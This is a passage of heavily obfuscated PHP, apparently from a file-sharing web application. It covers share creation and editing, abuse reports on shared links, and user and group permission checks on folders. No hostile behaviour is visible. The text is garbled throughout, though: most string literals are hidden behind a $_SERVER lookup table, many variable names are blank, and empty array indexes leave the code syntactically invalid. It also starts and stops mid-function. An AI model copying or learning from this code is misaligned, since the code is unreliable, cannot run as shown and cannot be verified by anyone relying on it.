$ײ; return $; } protected function getInfoAuth($⸽) { $󕹌 =& $_SERVER[]; $ = $this->getInfo($⸽); if ($[$󕹌[1763]] == USER_ID) { $[$󕹌[487]] = $[$󕹌[90]][$󕹌[487]]; } else { $[$󕹌[487]] = Model($󕹌[567])->authMake($[$󕹌[2111]]); } return $; } protected function listData($ۡ蘥 = null, $Ђ = 300) { $ҥ =& $_SERVER[]; $៩ = array(array($ҥ[562] => array($ҥ[1083], 0), $ҥ[663] => array($ҥ[1083], 0), $ҥ[2112] => $ҥ[2064])); if ($ۡ蘥 == $ҥ[2113]) { $៩ = array($ҥ[562] => 1); } else { if ($ۡ蘥 == $ҥ[1235]) { $៩ = array($ҥ[663] => 1); } } $៩[$ҥ[1763]] = USER_ID; $䅓 = $this->where($៩)->selectPage($Ђ); return $䅓; } protected function listToMe($ = 300) { $֛ =& $_SERVER[]; $َϮ = Model($֛[2114])->userGroupParents(USER_ID); $ԥ = array($֛[648] => SourceModel::TYPE_USER, $֛[569] => USER_ID); if ($َϮ) { $ԥ = array(array($֛[648] => SourceModel::TYPE_USER, $֛[569] => USER_ID), array($֛[648] => SourceModel::TYPE_GROUP, $֛[569] => array($֛[7], $َϮ)), $֛[2112] => $֛[2064]); } $͑ = Model($֛[666])->where($ԥ)->selectPage($); $ = array_to_keyvalue_group($͑[$֛[445]], $֛[665]); if (!$) { return $͑; } $̷ = $֛[2115]; $ԥ = array($֛[665] => array($֛[492], array_keys($)), $֛[1763] => array($֛[1085], $֛[228])); $뀋 = $this->field($̷)->where($ԥ)->select(); foreach ($뀋 as $ => &$) { $[$֛[2111]] = $[$[$֛[665]]]; } unset($); $ޡޒ = array($֛[2116] => $뀋, $֛[2117] => $͑[$֛[442]]); return $ޡޒ; } protected function shareAdd($ۼ, $) { $ւ =& $_SERVER[]; $ = $this->_addShareData($ۼ, $); if (!empty($[$ւ[2118]])) { $this->_shareAuthSet($, $[$ւ[2118]]); } $this->shareEventAdd($ۼ, $, $ւ[2119]); return $; } protected function shareAddSystem($ƴ, $䙂) { $ʬ =& $_SERVER[]; $ = $this->_addShareData($ƴ, $䙂, $ʬ[191]); $this->_shareAuthSet($, $䙂[$ʬ[2118]]); return $; } private function shareEventAdd($ߑ, $ź, $ߏ = "\141\x64\144") { $懣 =& $_SERVER[]; if (!$ߑ || $ߑ == $懣[228]) { return; } if ($ߏ == $懣[2119]) { if ($ź[$懣[562]] == $懣[91]) { Model($懣[633])->eventShare($ߑ, $懣[2120]); } if ($ź[$懣[663]] == $懣[91]) { Model($懣[633])->eventShare($ߑ, $懣[2121]); } return; } $ȭ߅ = $this->getInfoByPath($ߑ); $ܪ = $懣[2122]; if ($ȭ߅[$懣[562]] == $懣[228] && $ź[$懣[562]] == $懣[91]) { $ܪ = $懣[2120]; } if ($ȭ߅[$懣[562]] == $懣[91] && $ź[$懣[562]] == $懣[228]) { $ܪ = $懣[2123]; } if ($ȭ߅[$懣[663]] == $懣[228] && $ź[$懣[663]] == $懣[91]) { $ܪ = $懣[2121]; } if ($ȭ߅[$懣[663]] == $懣[91] && $ź[$懣[663]] == $懣[228]) { $ܪ = $懣[2124]; } Model($懣[633])->eventShare($ߑ, $ܪ); return; } private function _addShareData($, $ = array(), $ـ = false) { $ő =& $_SERVER[]; $ꨦ = $ـ == $ő[191] ? 0 : USER_ID; $ڇ = array($ő[491] => $, $ő[1754] => $ꨦ); if ($ == 0) { $ڇ = array($ő[2125] => $[$ő[1250]], $ő[1754] => $ꨦ); } if ($ = $this->where($ڇ)->find()) { return $[$ő[665]]; } if ($ == 0) { $ = array($ő[32] => get_path_this($[$ő[87]])); } else { $ = Model($ő[899])->sourceInfo($); if (!$) { return !1; } } if (!$[$ő[1652]]) { $[$ő[1652]] = $[$ő[32]]; } $Լ = array($ő[1754] => $ꨦ, $ő[491] => $, $ő[1652] => $ő[12], $ő[562] => 0, $ő[663] => 0, $ő[1250] => $ő[12], $ő[383] => $ő[12], $ő[960] => $ő[12], $ő[2126] => 0, $ő[2127] => 0, $ő[828] => 0, $ő[2128] => $ő[12], $ő[2109] => $ő[12]); $ = explode($ő[50], $ő[2129]); foreach ($ as $҉닧) { if (!isset($[$҉닧])) { continue; } $Լ[$҉닧] = $[$҉닧]; } $ = $this->add($Լ); $ƕ = array($ő[2109] => short_id($)); $this->where(array($ő[2130] => $))->save($ƕ); return $; } private function _shareAuthSet($, $) { $촩 =& $_SERVER[]; if (!is_array($)) { return !1; } $ = Model($촩[2074]); $->where(array($촩[665] => $))->delete(); $ = array(); foreach ($ as $܋) { $ҝ䨵 = SourceModel::TYPE_USER; if ($܋[$촩[190]] == SourceModel::TYPE_GROUP) { $ҝ䨵 = SourceModel::TYPE_GROUP; } $Ҁ = array($촩[665] => $, $촩[190] => $ҝ䨵, $촩[569] => intval($܋[$촩[569]]), $촩[2070] => 0, $촩[2131] => -1); if ($܋[$촩[2070]]) { $Ҁ[$촩[2070]] = $܋[$촩[2070]]; } else { if ($܋[$촩[2131]]) { $Ҁ[$촩[2131]] = $܋[$촩[2131]]; } } $[] = $Ҁ; } return $->addAll($, array(), !0); } public function numViewAdd($ۢ) { $ =& $_SERVER[]; $ = array($[2130] => $ۢ); $this->where($)->setAdd($[2126]); } public function numDownloadAdd($μ) { $ =& $_SERVER[]; $ = array($[2130] => $μ); $this->where($)->setAdd($[2127]); } protected function shareEdit($ױ, $깳) { $ω =& $_SERVER[]; $ˈ = $this->getInfo($ױ); if (!$ˈ) { return !1; } $this->_checkLinkShare($깳, $ˈ); $ͻ = array(); $ = explode($ω[50], $ω[2132]); foreach ($ as $) { if (!array_key_exists($, $깳)) { continue; } $ͻ[$] = $깳[$]; } $this->shareEventAdd($ˈ[$ω[193]], $깳, $ω[1931]); $this->where(array($ω[2130] => $ױ))->save($ͻ); if (isset($깳[$ω[2118]])) { $this->_shareAuthSet($ױ, $깳[$ω[2118]]); } return !0; } private function _checkLinkShare($˹, $) { $ْ =& $_SERVER[]; if ($˹[$ْ[562]] != $ْ[91]) { return; } $ˆ = $[$ْ[90]][$ْ[193]]; if ($[$ْ[90]][$ْ[33]] != $ْ[230]) { $բ = $this->_folderReport($ˆ); if (!$բ) { return; } show_json(LNG($ْ[2133]) . $ْ[2134] . $բ, !1); } $崇 = Model($ْ[899])->fileInfoGet($[$ْ[90]][$ْ[193]]); if (!$崇) { return; } $ܫ = $this->shareFileMeta($崇[$ْ[541]]); if (isset($ܫ[$ْ[450]]) && $ܫ[$ْ[450]] == $ْ[91]) { show_json(LNG($ْ[2135]), !1); } } private function _folderReport($) { $Ѷܝ =& $_SERVER[]; $ض = array($Ѷܝ[541] => array($Ѷܝ[1083], 0), $Ѷܝ[817] => 3); $ = Model($Ѷܝ[2136])->where($ض)->field($Ѷܝ[541])->select(); if (!$) { return !1; } $ = array_to_keyvalue($, $Ѷܝ[12], $Ѷܝ[541]); $ = $Ѷܝ[50] . $ . $Ѷܝ[50]; $ض = array($Ѷܝ[541] => array($Ѷܝ[7], $), $Ѷܝ[584] => array($Ѷܝ[459], "\x25{$}\45"), $Ѷܝ[505] => 0); $® = Model($Ѷܝ[899])->where($ض)->field($Ѷܝ[2137])->find(); if (!$®) { return !1; } $ = substr($®[$Ѷܝ[584]], strpos($®[$Ѷܝ[584]], $)); $ض = array($Ѷܝ[193] => array($Ѷܝ[7], trim($, $Ѷܝ[50]))); $߻ = Model($Ѷܝ[899])->where($ض)->field($Ѷܝ[32])->select(); $̼ = array_to_keyvalue($߻, $Ѷܝ[12], $Ѷܝ[32]); $̼[] = $®[$Ѷܝ[32]]; return implode($Ѷܝ[8], $̼); } protected function remove($褖) { $Ծ =& $_SERVER[]; $ᱟ = is_array($褖) ? $褖 : array($褖); for ($ = 0; $ < count($ᱟ); $++) { $ = $this->getInfo($ᱟ[$]); if ($[$Ծ[663]] == $Ծ[91]) { Model($Ծ[633])->eventShare($[$Ծ[193]], $Ծ[2124]); } if ($[$Ծ[562]] == $Ծ[91]) { Model($Ծ[633])->eventShare($[$Ծ[193]], $Ծ[2123]); } } if (is_array($褖)) { $褖 = array($Ծ[7], $褖); } $ = array($Ծ[665] => $褖); $د = $this->where($)->delete(); if ($د) { Model($Ծ[666])->where(array($Ծ[665] => $褖))->delete(); } return $د; } protected function removeBySource($ˀ) { $ح =& $_SERVER[]; $Ė = array($ح[491] => array($ح[492], $ˀ)); $ղҾ = $this->field($ح[665])->where($Ė)->select(); $ղҾ = array_to_keyvalue($ղҾ, $ح[12], $ح[665]); if (!$ղҾ) { return; } $Ė = array($ح[2130] => array($ح[492], $ղҾ)); $this->where($Ė)->delete(); Model($ح[666])->where($Ė)->delete(); } public function listAll($ά) { $Ӓ =& $_SERVER[]; $ = array(); if ($ά[$Ӓ[1763]]) { $[$Ӓ[1763]] = $ά[$Ӓ[1763]]; } if ($ά[$Ӓ[827]]) { $ = $ά[$Ӓ[828]] ? $ά[$Ӓ[828]] : strtotime(date($Ӓ[2138])); $[$Ӓ[231]] = array($Ӓ[409], array($ά[$Ӓ[827]], $)); } if ($ά[$Ӓ[33]]) { $[$ά[$Ӓ[33]]] = 1; } else { $[] = array($Ӓ[562] => array($Ӓ[1083], 0), $Ӓ[663] => array($Ӓ[1083], 0), $Ӓ[2112] => $Ӓ[2064]); } if ($ά[$Ӓ[2060]]) { $[] = array($Ӓ[2109] => $ά[$Ӓ[2060]], $Ӓ[1652] => array($Ӓ[459], "\x25{$ά[$Ӓ[2060]]}\x25"), $Ӓ[2112] => $Ӓ[2064]); } $ = $this->_makeOrder()->where($)->selectPage(20); if (empty($[$Ӓ[445]])) { return array(); } $this->_listDataApply($[$Ӓ[445]]); return $; } public function listDataApply($ݱ) { $this->_listDataApply($ݱ); return $ݱ; } private function _listDataApply(&$ߕ) { $ =& $_SERVER[]; $ば = array_to_keyvalue($ߕ, $[12], $[1763]); $͛ = Model($[598])->userListInfo(array_unique($ば)); $ = array_to_keyvalue($ߕ, $[12], $[193]); $֫ = Model($[899])->sourceListInfo($, !0); foreach ($ߕ as $ => &$о) { $ = $о[$[1763]]; $о[$[2139]] = $͛[$] ? $͛[$] : !1; $Դ = $о[$[193]]; $о[$[90]] = $֫[$Դ] ? $֫[$Դ] : !1; if ($о[$[90]][$[505]] == $[91]) { unset($ߕ[$]); } if ($о[$[90]] != $[228] && !$о[$[90]]) { unset($ߕ[$]); } } unset($о); $ߕ = array_values($ߕ); } private function _makeOrder($ύ = '') { $θ =& $_SERVER[]; $̋Ȓ = array($θ[231], $θ[828], $θ[2126], $θ[2127]); $澑 = array($θ[523] => $θ[524], $θ[525] => $θ[526]); $ = Input::get($θ[530], $θ[7], $θ[497], $̋Ȓ); $艁 = Input::get($θ[531], $θ[7], $θ[2140], array($θ[2057], $θ[525])); $艁 = $澑[$艁]; $ύ = $ύ . "{$}\40{$艁}"; return $this->order($ύ); } public function reportAdd($) { $ =& $_SERVER[]; $ = array($[665] => $[$[665]], $[1763] => USER_ID); if (Model($[2136])->where($)->find()) { return !1; } $ = array($[665] => $[$[665]], $[1652] => $[$[1652]], $[193] => $[$[193]], $[541] => $[$[541]], $[1763] => USER_ID, $[33] => $[$[33]], $[526] => $[$[526]]); return Model($[2136])->add($); } public function reportList($¶ڡ) { $ =& $_SERVER[]; $𓁐 = array(); if ($¶ڡ[$[827]]) { $ = $¶ڡ[$[828]] ? $¶ڡ[$[828]] : strtotime(date($[2138])); $𓁐[$[231]] = array($[409], array($¶ڡ[$[827]], $)); } if (isset($¶ڡ[$[33]]) && in_array($¶ڡ[$[33]], array($[91], $[510], $[2141], $[2142], $[2143]))) { $𓁐[$[33]] = $¶ڡ[$[33]]; } if (isset($¶ڡ[$[817]]) && in_array($¶ڡ[$[817]], array($[228], $[91], $[510], $[2141]))) { $𓁐[$[817]] = $¶ڡ[$[817]]; } $Ȼ = Input::get($[531], $[7], $[2140], array($[2057], $[525])); $ڽ = array($[523] => $[524], $[525] => $[526]); $݃ = $[2144] . $ڽ[$Ȼ]; $Ј = Model($[2136])->where($𓁐)->order($݃)->selectPage(20); if (empty($Ј[$[445]])) { return array(); } $˺ = array_to_keyvalue_group($Ј[$[445]], $[817], $[665]); if (!empty($˺[0])) { $¶ڡ = $˺[0]; $𓁐 = array($[665] => array($[7], $¶ڡ)); $ = $this->where($𓁐)->field($[665])->select(); $ = array_to_keyvalue($, $[12], $[665]); $ = array_diff($¶ڡ, $); if (!empty($)) { foreach ($Ј[$[445]] as $ => $ٓ) { if (in_array($ٓ[$[665]], $)) { unset($Ј[$[445]][$]); } } } } $this->_listDataApply($Ј[$[445]]); return $Ј; } public function reportStatus($գ) { $ڨ =& $_SERVER[]; $ӧ = array($ڨ[475] => $գ[$ڨ[475]]); $ = Model($ڨ[2136])->where($ӧ)->field($ڨ[2145])->find(); if (!$) { return !1; } $м = array($ڨ[817] => $գ[$ڨ[817]]); if ($գ[$ڨ[817]] == $ڨ[2141] && $[$ڨ[817]] == $ڨ[2141]) { $м[$ڨ[817]] = 0; } $ُ = Model($ڨ[2136])->where($ӧ)->save($м); if ($գ[$ڨ[817]] == $ڨ[510]) { if ($[$ڨ[541]] != $ڨ[228] && $this->shareFileMeta($[$ڨ[541]])) { $this->shareFileMeta($[$ڨ[541]], 0); } $this->remove($[$ڨ[665]]); return !0; } if ($ُ && $գ[$ڨ[817]] == $ڨ[2141]) { $ = $м[$ڨ[817]] == $ڨ[2141] ? 1 : 0; $this->shareFileMeta($[$ڨ[541]], $); $this->removeByFile($[$ڨ[541]]); } return $ُ; } private function removeByFile($) { $ =& $_SERVER[]; $ǔ = Model($[899])->where(array($[541] => $))->field($[193])->select(); $ = array_to_keyvalue($ǔ, $[12], $[193]); $݆ = array($[193] => array($[7], $), $[562] => 1); $ǔ = $this->where($݆)->field($[665])->select(); if (empty($ǔ)) { return; } $؞ = array_to_keyvalue($ǔ, $[12], $[665]); $this->remove($؞); } private function shareFileMeta($ؼ, $ǖ = null) { $ͅ =& $_SERVER[]; $« = array($ͅ[541] => $ؼ, $ͅ[97] => $ͅ[2146]); if (is_null($ǖ)) { return Model($ͅ[2147])->where($«)->find(); } $«[$ͅ[450]] = $ǖ; Model($ͅ[2147])->add($«, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\x69\157\x5f\x73\157\165\x72\143\x65\137\x61\165\x74\x68"; public function getAuth($ï) { $ =& $_SERVER[]; $ = $this->sourceAuthSelect($ï); $ = array(); $茻 = array(); $ = 2 << 25; foreach ($ as $̕) { $ = Model($[571])->listData($̕[$[2070]]); if (!$) { continue; } $[] = $̕; $ɋ = 0; if ($̕[$[190]] == SourceModel::TYPE_GROUP) { $ɋ = $ * 2; } if ($̕[$[190]] == SourceModel::TYPE_USER) { $ɋ = $; } if ($̕[$[190]] == SourceModel::TYPE_USER && $̕[$[569]] == $[228]) { $ɋ = 0; } $茻[] = $[$[487]] + $ɋ; } array_multisort($茻, SORT_DESC, $); return $; } public function sourceAuthSelect($ؒ) { $ŷ =& $_SERVER[]; static $ = array(); $½װ = is_array($ؒ) ? !1 : !0; if ($½װ) { $ؒ = array($ؒ); } $ = array(); foreach ($ؒ as $ś) { if (isset($[$ś])) { $[$ś] = $[$ś]; } } if (count($) == count($ؒ)) { return $½װ ? $[$ؒ[0]] : $; } $욐 = $ŷ[2148]; $콌 = array($ŷ[193] => array($ŷ[7], $ؒ)); $ = $this->field($욐)->order($ŷ[475])->where($콌)->select(); $ = array_to_keyvalue_group($, $ŷ[193]); foreach ($ؒ as $ś) { $[$ś] = $[$ś] ? $[$ś] : array(); } if ($½װ) { return $; } return $; } public function setAuth($, $å) { $聓 =& $_SERVER[]; $ַ = Model($聓[1411])->sourceInfo($); if (!$ַ) { return !1; } if ($ַ[$聓[190]] != SourceModel::TYPE_GROUP) { return !1; } $ޫ = 1; $簢 = $ַ[$聓[569]]; if ($簢 != $ޫ) { $Ѷ = array($聓[1962] => $簢); $ = Model($聓[2056])->field($聓[1763])->where($Ѷ)->select(); $ = array_to_keyvalue($, $聓[12], $聓[1763]); } $җ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ = array(); foreach ($å as $㞿) { if (!in_array($㞿[$聓[190]], $җ)) { show_json(LNG($聓[2149]), !1); } if ($簢 != $ޫ) { if ($㞿[$聓[190]] == SourceModel::TYPE_GROUP) { } if ($㞿[$聓[569]] != 0 && !in_array($㞿[$聓[569]], $)) { } } if ($㞿[$聓[569]] == 0) { $㞿[$聓[190]] = SourceModel::TYPE_USER; } $[] = array($聓[193] => $, $聓[190] => intval($㞿[$聓[190]]), $聓[569] => intval($㞿[$聓[569]]), $聓[2070] => intval($㞿[$聓[2070]]) ? intval($㞿[$聓[2070]]) : 0, $聓[2131] => intval($㞿[$聓[2131]]) ? intval($㞿[$聓[2131]]) : -1); } $this->where(array($聓[491] => $))->delete(); $this->addAll($); return !0; } public function authClear($͟) { $ =& $_SERVER[]; $λ = Model($[1411])->sourceInfo($͟); $ԅ = array($͟); if ($λ[$[485]] == $[91]) { $ = array($[652] => array($[612], $λ[$[584]] . $͟ . $[613])); $ԅ = Model($[1411])->field($[491])->where($)->getField($[193], !0); $ԅ[] = $͟; } $this->where(array($[491] => array($[492], $ԅ)))->delete(); return !0; } public function getAllChildren($) { $ԟĐ =& $_SERVER[]; $ɤ = Model($ԟĐ[1411])->sourceInfo($); if ($ɤ[$ԟĐ[485]] != $ԟĐ[91]) { return $this->sourceListAuth(array($)); } if ($ɤ[$ԟĐ[190]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $ = array($); if ($ɤ[$ԟĐ[192]] == $ԟĐ[228] && $ɤ[$ԟĐ[569]] != $) { $ = $this->groupChidldAllRootSource($ɤ[$ԟĐ[569]]); } $׺ = $this->field($ԟĐ[193])->group($ԟĐ[193])->select(); $׺ = array_to_keyvalue($׺, $ԟĐ[12], $ԟĐ[193]); if (!$׺) { return array(); } $⥇ = $ԟĐ[2150]; $ = array($ԟĐ[193] => array($ԟĐ[7], $׺), $ԟĐ[505] => $ԟĐ[228]); $͕ = Model($ԟĐ[899])->field($⥇)->where($)->select(); $Ԅ = array($); foreach ($͕ as $) { foreach ($ as $򥊅) { $ = $ԟĐ[50] . $򥊅 . $ԟĐ[50]; $ﰞ = $[$ԟĐ[584]] . $[$ԟĐ[193]] . $ԟĐ[50]; if (strstr($ﰞ, $)) { $Ԅ[] = $[$ԟĐ[193]]; break; } } } return $this->sourceListAuth($Ԅ); } private function sourceListAuth($ØԂ) { $§ =& $_SERVER[]; $굱̍ = Model($§[1411])->sourceListInfo($ØԂ, !0); $ = $this->sourceAuthSelect($ØԂ); $ܾ = array(); $ƿʪ = array(); foreach ($굱̍ as $) { unset($[$§[529]]); unset($[$§[527]]); unset($[$§[487]]); unset($[$§[90]]); $ = $[$[$§[193]]]; if (!$) { continue; } $[$§[2151]] = $this->authTargetInfo($); $[$§[582]] = rtrim($[$§[588]], $§[8]) . $§[8] . ltrim($[$§[582]], $§[8]); $ܾ[] = $; $蓃 = count(explode($§[8], trim($[$§[582]], $§[8]))); $ƿʪ[] = $蓃 + ($[$§[33]] == $§[78] ? 0 : 1000); } array_multisort($ƿʪ, SORT_ASC, $ܾ); return $ܾ; } private function groupChidldAllRootSource($ȼ) { $ =& $_SERVER[]; $ = Model($[2152])->groupChildrenAll($ȼ); $ƻ = array($[192] => 0, $[569] => array($[7], $), $[190] => SourceModel::TYPE_GROUP); $ = Model($[899])->field($[193])->where($ƻ)->select(); $ = array_to_keyvalue($, $[12], $[193]); return $; } private function authTargetInfo($) { $ƴ =& $_SERVER[]; $ե˙ = array(); $ض = array(); $ = 2 << 25; foreach ($ as $) { $ę = Model($ƴ[571])->listData($[$ƴ[2070]]); if (!$ę) { continue; } if ($[$ƴ[190]] == SourceModel::TYPE_USER) { $ؘŽ = Model($ƴ[577])->getInfoSimpleOuter($[$ƴ[569]]); if ($ؘŽ[$ƴ[1763]] == $ƴ[1266]) { continue; } if ($ؘŽ[$ƴ[1763]] == $ƴ[228]) { $ؘŽ[$ƴ[32]] = LNG($ƴ[2153]); } } else { $ؘŽ = Model($ƴ[585])->getInfoSimple($[$ƴ[569]]); } if (!$ؘŽ) { continue; } $ؘŽ[$ƴ[540]] = $ę; $ե˙[] = $ؘŽ; $ۂ = 0; if ($[$ƴ[190]] == SourceModel::TYPE_GROUP) { $ۂ = $ * 2; } if ($[$ƴ[190]] == SourceModel::TYPE_USER) { $ۂ = $; } if ($[$ƴ[190]] == SourceModel::TYPE_USER && $[$ƴ[569]] == $ƴ[228]) { $ۂ = 0; } $ض[] = $ę[$ƴ[487]] + $ۂ; } array_multisort($ض, SORT_DESC, $ե˙); return $ե˙; } public function getAllChildrenByUser($, $ú) { $ܲ =& $_SERVER[]; $Ƶ = Model($ܲ[598])->getInfo($ú); if (!$ú || !$ || !$Ƶ) { return array(); } $ = Model($ܲ[1411])->sourceInfo($); $ = array(); $Ƭ = 1; if ($[$ܲ[192]] == $ܲ[228] && $[$ܲ[569]] != $Ƭ && $this->groupContainUser($[$ܲ[569]], $ú)) { foreach ($Ƶ[$ܲ[2154]] as $) { $ޚ = Model($ܲ[585])->getInfo($[$ܲ[1962]]); $˾ = Model($ܲ[598])->getInfoSimpleOuter($ú); $˾[$ܲ[540]] = $[$ܲ[487]]; if (Model($ܲ[571])->authCheckAction($[$ܲ[487]][$ܲ[487]], $ܲ[1983])) { continue; } $ = array($ܲ[32] => $ܲ[1286] . $ޚ[$ܲ[32]], $ܲ[193] => $ޚ[$ܲ[90]][$ܲ[193]], $ܲ[87] => KodIO::make($ޚ[$ܲ[90]][$ܲ[193]]), $ܲ[192] => $ܲ[228], $ܲ[190] => $ܲ[578], $ܲ[33] => $ܲ[616], $ܲ[582] => $ޚ[$ܲ[589]], $ܲ[1962] => $ޚ[$ܲ[1962]], $ܲ[586] => $ޚ[$ܲ[192]], $ܲ[2151] => array($˾)); $[$[$ܲ[193]]] = $; } } $ = array(); $֣ = $this->getAllChildren($); foreach ($֣ as $Ϳ) { $ = !1; foreach ($Ϳ[$ܲ[2151]] as $颥) { if ($颥[$ܲ[1763]]) { if ($颥[$ܲ[1763]] == $ú) { $ = !0; break; } } if ($颥[$ܲ[1962]]) { if ($this->groupContainUser($颥[$ܲ[1962]], $ú)) { $ = !0; break; } } } if ($) { $[] = $Ϳ; } $ = $Ϳ[$ܲ[193]]; if (isset($[$])) { $Ϳ[$ܲ[2151]][] = $[$][0]; $[$] = !1; } } $ = array_filter(array_values($)); $ = array_merge($, $); return $; } public function setAllChildrenByUser($, $, $ėٕ) { $ۑ =& $_SERVER[]; $ɹх = $this->getAllChildrenByUser($, $); if (!$ėٕ || !$ɹх) { return !1; } foreach ($ɹх as $Ơ) { $䘍 = array(); foreach ($Ơ[$ۑ[2151]] as $) { $ = $[$ۑ[540]]; $ƶ = $[$ۑ[1763]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $[$ۑ[1763]] ? $[$ۑ[1763]] : $[$ۑ[1962]]; if ($[$ۑ[1763]] && $[$ۑ[1763]] == $) { continue; } $䘍[] = array($ۑ[193] => $Ơ[$ۑ[193]], $ۑ[190] => $ƶ, $ۑ[569] => intval($), $ۑ[2070] => isset($[$ۑ[475]]) ? intval($[$ۑ[475]]) : 0, $ۑ[2131] => isset($[$ۑ[2131]]) ? intval($[$ۑ[2131]]) : -1); } $䘍[] = array($ۑ[193] => $Ơ[$ۑ[193]], $ۑ[190] => SourceModel::TYPE_USER, $ۑ[569] => intval($), $ۑ[2070] => intval($ėٕ), $ۑ[2131] => -1); $this->where(array($ۑ[491] => $Ơ[$ۑ[193]]))->delete(); $this->addAll($䘍); } return !0; } public function get($職) { $ = $this->getSourceList(array($職), !0); return $[0]; } public function getSourceList($ȏ, $ = false, $« = false) { $Ɯ =& $_SERVER[]; if (!$ȏ) { return array(); } $Ç = Model($Ɯ[1411]); if (!$ && count($ȏ) == 1) { $ = array(); $[$ȏ[0]] = $Ç->sourceInfo($ȏ[0]); } if (!$) { $솸 = array($Ɯ[491] => array($Ɯ[492], $ȏ)); $ = $Ç->field($Ɯ[2155])->where($솸)->select(); $ = array_to_keyvalue($, $Ɯ[193]); } $ = $ȏ; foreach ($ as $ۮ => $ٲ) { $ʰ = $Ç->parentLevelArray($ٲ[$Ɯ[584]]); $ = array_merge($, array($ۮ), array_reverse($ʰ)); } $ = array_values(array_unique($)); if (!$) { return array(); } $ = $this->sourceAuthSelect($); $ = array(); foreach ($ as $̮) { if (isset($[$̮])) { $[$̮] = $[$̮]; } } $ʙ = $this->userIsRoot($«); $ = AuthModel::authAll(); $ߌ = array($Ɯ[488] => $, $Ɯ[2156] => array($Ɯ[493] => 0, $Ɯ[1968] => $, $Ɯ[494] => LNG($Ɯ[2157]), $Ɯ[1985] => $Ɯ[2158])); $ٕʹ = array(); foreach ($ as $̮ => $) { if ($ʙ && $GLOBALS[$Ɯ[6]][$Ɯ[1981]]) { $ٕʹ[$̮] = $ߌ; continue; } $ٕʹ[$̮] = $this->makeSourceAuth($, $, $«); } return $ٕʹ; } public function authDeepCheck($, $ = false) { $۞ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = $this->makeAuthDeep($); if (!in_array($, $[$۞[2159]])) { return !1; } $ﻶ = array(); foreach ($[$۞[2160]] as $ꃃϰ => $אȽ) { if (!in_array($, $אȽ)) { continue; } $ﻶ[] = $ꃃϰ; } if (!$ﻶ) { return !1; } $ = $ﻶ ? $ﻶ[0] : $; return array($۞[488] => -1, $۞[540] => array($۞[493] => $۞[1266], $۞[1968] => $۞[228], $۞[494] => LNG($۞[2161]), $۞[1985] => $۞[2162]), $۞[2163] => LNG($۞[2164]), $۞[2165] => $this->sourceAuthInfo($)); } protected function makeAuthDeep($ڈ = false) { $þ =& $_SERVER[]; static $ϖ = array(); $ڈ = $ڈ ? $ڈ : USER_ID; if (isset($ϖ[$ڈ])) { return $ϖ[$ڈ]; } $ = Model($þ[2166])->listData(); $置 = array(); foreach ($ as $ћ) { if ($ћ[$þ[487]] == 0 && $ћ[$þ[1984]] == $þ[91]) { $置[] = $ћ[$þ[475]]; } } $” = $this->userGroupParents($ڈ); $ = array($þ[190] => SourceModel::TYPE_USER, $þ[569] => $ڈ); if ($”) { $ = array(array($þ[190] => SourceModel::TYPE_USER, $þ[569] => $ڈ), array($þ[190] => SourceModel::TYPE_GROUP, $þ[569] => array($þ[492], $”)), $þ[1071] => $þ[2064]); } $ = $this->field($þ[2167])->where($)->select(); $ݓ = array(); $Ո = array_to_keyvalue_group($, $þ[193]); foreach ($Ո as $Ԡޖ => $ȶ) { $£ؠ = $this->authArrayCheck($ȶ, $ڈ); if ($£ؠ[$þ[488]] > 0) { $ݓ[] = $Ԡޖ . $þ[12]; } } if ($”) { $ = Model($þ[585]); foreach ($” as $) { $傘 = $->getInfo($); if (!$傘 || !is_array($傘[$þ[90]])) { continue; } $ݓ[] = $傘[$þ[90]][$þ[193]]; } } $¥ = array(); $ = $”; $뾣 = Model($þ[1411]); $ = Model($þ[585]); $ = array(); $͟ = array(); $ = array(); $Ħ = array(); if ($ݓ) { $Ԡ = $뾣->where(array($þ[193] => array($þ[492], $ݓ)))->select(); foreach ($Ԡ as $ę) { $ۤ = $뾣->parentLevelArray($ę[$þ[584]]); $¥ = array_merge($¥, $ۤ); $[] = $ę[$þ[569]]; $[$ę[$þ[193]]] = $ۤ; $͟[$ę[$þ[193]]] = $ę[$þ[569]]; } } $ = array_values(array_unique($)); $׬ = $; foreach ($׬ as $) { $傘 = $->getInfo($); $ۤ = $뾣->parentLevelArray($傘[$þ[584]]); $ = array_merge($, $ۤ); } $ = array_values(array_unique($)); foreach ($ as $) { $傘 = $->getInfo($); $¥[] = $傘[$þ[90]][$þ[193]]; $[$] = $傘[$þ[90]][$þ[193]]; $Ħ[$] = $뾣->parentLevelArray($傘[$þ[584]]); } foreach ($ as $ܻ => $) { $Շ = $͟[$ܻ]; if (!$Շ || !$[$Շ]) { continue; } $칪 = array(); foreach ($Ħ[$Շ] as $) { $칪[] = $[$]; } $[$ܻ] = array_merge($칪, $); } $¥ = array_values(array_unique($¥)); $܅ = array($þ[2159] => $¥, $þ[2160] => $); $ϖ[$ڈ] = $܅; return $܅; } private function makeSourceAuth($ߥ, $݄, $ = false) { $מխ =& $_SERVER[]; $͠ޔ = $מխ[91]; $ݐ = $ߥ[$מխ[569]]; $Ú = $ߥ[$מխ[190]] == SourceModel::TYPE_GROUP; $ = $Ú ? $this->groupRootAuth($ݐ, $) : !1; if ($ && Model($מխ[571])->authCheckAction($[$מխ[487]], $מխ[1983])) { return $this->groupAuthInfo($, $ݐ); } $ߟ = Model($מխ[1411])->parentLevelArray($ߥ[$מխ[584]]); $ߟ = array_merge(array($ߥ[$מխ[193]]), array_reverse($ߟ)); $ = !1; foreach ($ߟ as $) { if (!isset($݄[$])) { continue; } $崢 = $this->authMake($݄[$], $); if ($崢[$מխ[540]]) { $ = $崢; break; } } if (!$Ú) { return $; } if (!$ && $) { $ = $this->groupAuthInfo($, $ݐ); } if (!$) { $쥳 = Model($מխ[585])->getInfo($ݐ); $ےї = explode($מխ[50], trim($쥳[$מխ[584]], $מխ[50])); $ےї = array_reverse($ےї); foreach ($ےї as $) { if ($ == $מխ[228] || $ == $͠ޔ) { continue; } $ = $this->groupRootAuth($, $); if (!$) { continue; } $ = $this->groupAuthInfo($, $); break; } } if (!$ || $[$מխ[488]] <= 0) { $ = $this->authDeepCheck($ߥ[$מխ[193]], $); if ($) { $ = $; } } return $; } private function userIsRoot($Ǯ = false) { $Ĉ =& $_SERVER[]; if (!$Ǯ && KodUser::isRoot()) { return !0; } $ڦ = Model($Ĉ[598])->getInfo($Ǯ); $۔ = 